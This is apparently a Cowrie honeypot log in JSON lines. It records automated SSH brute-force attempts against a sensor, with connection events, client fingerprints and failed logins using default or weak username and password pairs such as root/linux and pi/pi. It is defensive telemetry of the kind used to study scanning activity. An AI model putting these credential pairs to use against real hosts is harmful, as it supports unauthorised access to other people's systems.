{"eventid":"cowrie.login.failed","username":"root","password":"prototype","message":"login attempt [root/prototype] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:13.649327Z","src_ip":"103.195.236.96","session":"46ffb63cee96","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:13.757628Z","src_ip":"192.109.200.237","session":"bc9c7af10729","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:14.890658Z","src_ip":"103.195.236.96","session":"46ffb63cee96","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42592,"dst_ip":"159.203.135.109","dst_port":22,"session":"260b257df028","protocol":"ssh","message":"New connection: 192.109.200.237:42592 (159.203.135.109:22) [session: 260b257df028]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:15.631828Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:15.636978Z","src_ip":"192.109.200.237","session":"260b257df028","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:15.719841Z","src_ip":"192.109.200.237","session":"260b257df028","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"jumpserver","password":"jumpserver","message":"login attempt [jumpserver/jumpserver] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:15.967588Z","src_ip":"192.109.200.237","session":"260b257df028","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:17.053226Z","src_ip":"192.109.200.237","session":"260b257df028","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":42602,"dst_ip":"159.203.135.109","dst_port":22,"session":"34e2637909ee","protocol":"ssh","message":"New connection: 192.109.200.237:42602 (159.203.135.109:22) [session: 34e2637909ee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:18.839210Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:18.843688Z","src_ip":"192.109.200.237","session":"34e2637909ee","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:18.931550Z","src_ip":"192.109.200.237","session":"34e2637909ee","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test1","password":"test123","message":"login attempt [test1/test123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:19.179321Z","src_ip":"192.109.200.237","session":"34e2637909ee","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:20.312708Z","src_ip":"192.109.200.237","session":"34e2637909ee","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37176,"dst_ip":"159.203.135.109","dst_port":22,"session":"1eeb04ff0a0f","protocol":"ssh","message":"New connection: 192.109.200.237:37176 (159.203.135.109:22) [session: 1eeb04ff0a0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:22.051612Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:22.056466Z","src_ip":"192.109.200.237","session":"1eeb04ff0a0f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:22.138092Z","src_ip":"192.109.200.237","session":"1eeb04ff0a0f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"pi","password":"pi","message":"login attempt [pi/pi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:22.513341Z","src_ip":"192.109.200.237","session":"1eeb04ff0a0f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:23.597583Z","src_ip":"192.109.200.237","session":"1eeb04ff0a0f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37180,"dst_ip":"159.203.135.109","dst_port":22,"session":"1ea5bebf84c2","protocol":"ssh","message":"New connection: 192.109.200.237:37180 (159.203.135.109:22) [session: 1ea5bebf84c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:25.418128Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:25.428812Z","src_ip":"192.109.200.237","session":"1ea5bebf84c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:25.512639Z","src_ip":"192.109.200.237","session":"1ea5bebf84c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"edward","password":"123456","message":"login attempt [edward/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:25.764349Z","src_ip":"192.109.200.237","session":"1ea5bebf84c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:26.850095Z","src_ip":"192.109.200.237","session":"1ea5bebf84c2","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":37196,"dst_ip":"159.203.135.109","dst_port":22,"session":"eb3776e4b4a8","protocol":"ssh","message":"New connection: 192.109.200.237:37196 (159.203.135.109:22) [session: eb3776e4b4a8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:28.573350Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:28.577691Z","src_ip":"192.109.200.237","session":"eb3776e4b4a8","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:28.660299Z","src_ip":"192.109.200.237","session":"eb3776e4b4a8","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sit","password":"sit123456","message":"login attempt [sit/sit123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:28.907067Z","src_ip":"192.109.200.237","session":"eb3776e4b4a8","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:29.991927Z","src_ip":"192.109.200.237","session":"eb3776e4b4a8","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54580,"dst_ip":"159.203.135.109","dst_port":22,"session":"ed50f343c4a5","protocol":"ssh","message":"New connection: 192.109.200.237:54580 (159.203.135.109:22) [session: ed50f343c4a5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:31.725427Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:31.803429Z","src_ip":"192.109.200.237","session":"ed50f343c4a5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:31.913097Z","src_ip":"192.109.200.237","session":"ed50f343c4a5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"nginx","password":"nginx123","message":"login attempt [nginx/nginx123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:32.173229Z","src_ip":"192.109.200.237","session":"ed50f343c4a5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:33.257656Z","src_ip":"192.109.200.237","session":"ed50f343c4a5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54606,"dst_ip":"159.203.135.109","dst_port":22,"session":"e60412c87bd5","protocol":"ssh","message":"New connection: 192.109.200.237:54606 (159.203.135.109:22) [session: e60412c87bd5]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:35.072975Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:35.078087Z","src_ip":"192.109.200.237","session":"e60412c87bd5","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:35.161816Z","src_ip":"192.109.200.237","session":"e60412c87bd5","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"git","password":"123456","message":"login attempt [git/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:35.408106Z","src_ip":"192.109.200.237","session":"e60412c87bd5","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:36.493207Z","src_ip":"192.109.200.237","session":"e60412c87bd5","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":54626,"dst_ip":"159.203.135.109","dst_port":22,"session":"ef8ebaf640ce","protocol":"ssh","message":"New connection: 192.109.200.237:54626 (159.203.135.109:22) [session: ef8ebaf640ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:38.265155Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:38.270245Z","src_ip":"192.109.200.237","session":"ef8ebaf640ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:38.352656Z","src_ip":"192.109.200.237","session":"ef8ebaf640ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"linux","message":"login attempt [root/linux] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:38.598089Z","src_ip":"192.109.200.237","session":"ef8ebaf640ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:39.681972Z","src_ip":"192.109.200.237","session":"ef8ebaf640ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":36802,"dst_ip":"159.203.135.109","dst_port":22,"session":"a4cf48cc5254","protocol":"ssh","message":"New connection: 192.109.200.237:36802 (159.203.135.109:22) [session: a4cf48cc5254]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:41.582519Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-19T09:21:41.587773Z","src_ip":"192.109.200.237","session":"a4cf48cc5254","protocol":"ssh"}
